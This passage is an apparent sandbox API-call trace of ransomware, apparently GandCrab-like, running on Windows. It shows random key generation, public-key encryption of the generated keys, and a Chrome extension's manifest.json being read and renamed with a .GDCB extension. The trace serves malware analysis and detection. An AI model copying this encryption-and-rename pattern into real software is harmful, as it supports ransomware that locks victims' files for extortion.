dwFlags=0x0) returned 1 [0233.311] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0233.312] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.314] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.314] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0233.314] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.314] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0233.316] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x65985b8) returned 1 [0233.316] CryptGetKeyParam (in: hKey=0x65985b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0233.316] CryptEncrypt (in: hKey=0x65985b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7d60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0233.316] GetLastError () returned 0x0 [0233.316] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.317] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0233.318] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x65986b8) returned 1 [0233.318] CryptGetKeyParam (in: hKey=0x65986b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0233.318] CryptEncrypt (in: hKey=0x65986b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7d70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0233.319] GetLastError () returned 0x0 [0233.319] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.319] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0233.320] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d80000 [0233.322] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d90000 [0233.323] ReadFile (in: hFile=0x424, lpBuffer=0x7d90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7d90000*, lpNumberOfBytesRead=0x285d160*=0x2d5, lpOverlapped=0x0) returned 1 [0233.360] VirtualAlloc (lpAddress=0x0, dwSize=0x2e0, flAllocationType=0x3000, flProtect=0x4) returned 0x7ea0000 [0233.365] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.gdcb")) returned 1 [0233.408] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.410] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.411] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.412] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.412] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.412] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.414] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.415] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.415] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.415] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.415] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.418] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598838) returned 1 [0233.418] CryptGetKeyParam (in: hKey=0x6598838, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.418] CryptEncrypt (in: hKey=0x6598838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7d60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.418] GetLastError () returned 0x0 [0233.418] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.418] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0233.420] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65986f8) returned 1 [0233.420] CryptGetKeyParam (in: hKey=0x65986f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.420] CryptEncrypt (in: hKey=0x65986f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7d70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.420] GetLastError () returned 0x0 [0233.420] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.420] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.421] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0233.424] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.425] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.425] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.425] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.426] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.427] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.429] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.429] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.429] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.429] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0233.431] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65985f8) returned 1 [0233.432] CryptGetKeyParam (in: hKey=0x65985f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.432] CryptEncrypt (in: hKey=0x65985f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7d80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.432] GetLastError () returned 0x0 [0233.432] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.432] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.434] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598738) returned 1 [0233.434] CryptGetKeyParam (in: hKey=0x6598738, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.434] CryptEncrypt (in: hKey=0x6598738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7d90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.434] GetLastError () returned 0x0 [0233.434] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.434] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.435] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.437] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.439] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.439] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.439] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.439] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.440] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.442] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.442] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.442] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.442] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0233.444] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65984b8) returned 1 [0233.444] CryptGetKeyParam (in: hKey=0x65984b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.444] CryptEncrypt (in: hKey=0x65984b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7da0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7da0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.444] GetLastError () returned 0x0 [0233.444] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.444] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.446] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598078) returned 1 [0233.446] CryptGetKeyParam (in: hKey=0x6598078, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.446] CryptEncrypt (in: hKey=0x6598078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7db0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7db0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.446] GetLastError () returned 0x0 [0233.447] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.447] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.447] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.449] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.451] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.451] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.451] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.451] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.452] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.453] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.453] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.454] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.454] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.456] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65987b8) returned 1 [0233.456] CryptGetKeyParam (in: hKey=0x65987b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.456] CryptEncrypt (in: hKey=0x65987b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7dc0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7dc0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.456] GetLastError () returned 0x0 [0233.456] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.456] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.458] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65987f8) returned 1 [0233.458] CryptGetKeyParam (in: hKey=0x65987f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.458] CryptEncrypt (in: hKey=0x65987f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7dd0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7dd0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.458] GetLastError () returned 0x0 [0233.458] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.458] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.459] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.461] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.463] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.463] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.463] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.463] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.465] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.466] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.466] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.466] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.466] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.469] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65980f8) returned 1 [0233.469] CryptGetKeyParam (in: hKey=0x65980f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.469] CryptEncrypt (in: hKey=0x65980f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7de0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7de0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.469] GetLastError () returned 0x0 [0233.469] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.469] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.471] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598338) returned 1 [0233.471] CryptGetKeyParam (in: hKey=0x6598338, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.471] CryptEncrypt (in: hKey=0x6598338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7df0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7df0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.471] GetLastError () returned 0x0 [0233.471] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.471] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.472] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.474] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.475] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.475] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.475] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.475] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.477] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.478] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.478] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.478] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.478] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.481] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598138) returned 1 [0233.481] CryptGetKeyParam (in: hKey=0x6598138, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.481] CryptEncrypt (in: hKey=0x6598138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7e00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7e00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.481] GetLastError () returned 0x0 [0233.481] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.481] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.483] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598378) returned 1 [0233.483] CryptGetKeyParam (in: hKey=0x6598378, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.483] CryptEncrypt (in: hKey=0x6598378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7e10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7e10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.483] GetLastError () returned 0x0 [0233.483] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.483] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and 